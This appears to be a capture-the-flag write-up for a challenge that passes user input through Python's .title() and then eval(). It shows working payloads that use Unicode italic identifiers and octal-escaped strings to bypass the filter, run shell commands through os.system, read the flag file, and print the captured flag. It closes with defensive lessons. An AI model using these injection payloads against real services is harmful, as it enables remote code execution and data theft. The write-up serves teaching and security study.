TitleCase
Challenge Description
A modern rerun of a SHA2017 challenge...The service reads your input, applies Python’s
.title()
string method to it, and then passes the result intoeval()
.Example from the challenge:
# TitleCase.py #!/usr/bin/env python3 eval(input().title())
We connect to the service with:
nc titlecase.ctf.zone 1337
Vulnerability Overview
eval()
will execute arbitrary Python expressions in the current process.
.title()
converts identifiers likeprint
→Print
,getattr
→Getattr
, breaking most normal payloads.
- This is a naïve filter to prevent the classic
eval
RCE — but it only impacts ASCII letters.
- Unicode identifiers (PEP 3131) and escape sequences inside strings behave differently.
Key Observations
- Identifiers get mangled:
print(true) → Print(True) → NameError
- Strings survive mostly intact:
- Inside quotes, only letter casing changes; backslash-octal escapes like
\141
are unaffected.
- Inside quotes, only letter casing changes; backslash-octal escapes like
- Mathematical italic Unicode letters survive
.title()
unchanged and are still valid Python identifiers:𝘱𝘳𝘪𝘯𝘵
(U+1D621..U+1D629) works likeprint
.
- Same works for
__import__
,system
,open
, etc.
- Octal escapes allow us to write
"os"
,"ls"
,"flag"
, etc., in a way.title()
can’t break.
Bypass Strategy
We combined two bypasses:
- Unicode Italic Identifiers for function/method names.
- Octal String Escapes for literal strings to avoid
.title()
changing'os'
to'Os'
.
Step-by-Step Exploit
1. Test italic identifier bypass
𝘱𝘳𝘪𝘯𝘵('1')
Works! → Confirms Python treats italic letters as print
.
2. Execute shell commands via os.system
Regular approach:
__import__('os').system('ls')
fails because 'os'
→ 'Os'
.
3. Fix strings with octal escapes
"os"
=\157\163
"ls -la"
=\154\163\040\055\154\141
Payload:
__𝘪𝘮𝘱𝘰𝘳𝘵__('\157\163').𝘴𝘺𝘴𝘵𝘦𝘮('\154\163\040\055\154\141')
Lists files, revealing flag
.
4. Read the flag
__𝘪𝘮𝘱𝘰𝘳𝘵__('\163\171\163').𝘴𝘵𝘥𝘰𝘶𝘵.𝘸𝘳𝘪𝘵𝘦(𝘰𝘱𝘦𝘯('\146\154\141\147').𝘳𝘦𝘢𝘥())
Output:
flag{651e7208b29581e7962d4b9bbf80e4ed}
Why This Works
.title()
only changes cased letters in ASCII/Latin alphabets, not all Unicode letters.
- Python identifiers can legally contain many Unicode characters (PEP 3131), including mathematical italic letters that
.title()
ignores.
- Inside string literals,
.title()
does not interpret escapes, so\ooo
octal codes are preserved exactly.
- Combining italic identifiers + octal-escaped strings gives full control over
eval()
execution.
Takeaways
- Never trust
.title()
or similar string transforms as a “security filter” beforeeval
.
- Python’s Unicode identifier rules (PEP 3131) massively expand the surface area for bypasses.
- Even if keywords and builtins are mangled, an attacker can rebuild them via Unicode homoglyphs and escape sequences.